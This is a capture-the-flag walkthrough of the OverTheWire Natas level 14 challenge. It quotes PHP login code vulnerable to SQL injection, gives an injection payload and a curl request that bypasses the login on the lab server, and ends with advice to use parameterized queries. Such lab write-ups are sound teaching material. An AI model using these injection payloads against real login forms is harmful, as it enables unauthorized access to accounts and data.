Server-side security war games: Part 14

In level 14, we see a more traditional username & password form. Let's check the source code to see if there are holes we can slip through.

    if(array_key_exists("username", $_REQUEST)) {
        $link = mysql_connect('localhost', 'natas14', '<censored>');
        mysql_select_db('natas14', $link);
 
        $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
        if(array_key_exists("debug", $_GET)) {
            echo "Executing query: $query<br />";
        }
 
        if(mysql_num_rows(mysql_query($query, $link)) > 0) {
                echo "Successful login! The password for natas15 is <censored><br />";
        } else {
                echo "Access denied!<br />";
        }
        mysql_close($link);
    } else { ...

Okay, this is one of the most common errors: SQL injection. You should never write code like this because the attacker controls the value of $_REQUEST["username"] and $_REQUEST["password"]. We can use that to make the query return more than zero rows, which is all they check for.

Also, check out the nifty helper tool for us: set debug and it'll output the query that gets executed, so you can see what you're doing a bit better.

  • debug: 1
  • username: natas14" or username not null;-- (don't forget the space after the 2nd dash, it is required in MySQL)
  • password: must be set, but pick whatever you want (pwnd)

The final SQL query that'll be executed is:

SELECT * FROM users WHERE username="natas14" OR username NOT NULL;--  and password="pwnd"
    curl -u natas14:password \
        'http://natas14.natas.labs.overthewire.org/index.php?username=natas14"%20OR%20username%20IS%20NOT%20NULL;%20--%20&password=pwnd&debug=1'

Lessons Learned

To defend against attacks like this, don't make the mistake xkcd suggests. Escapting input is not the right approach. Instead, use parameterized queries, which are injection-proof. They also have other benefits. http://bobby-tables.com/ shows you how to use parameterized queries in a ton of different programming languages, and explains why this approach is the right one.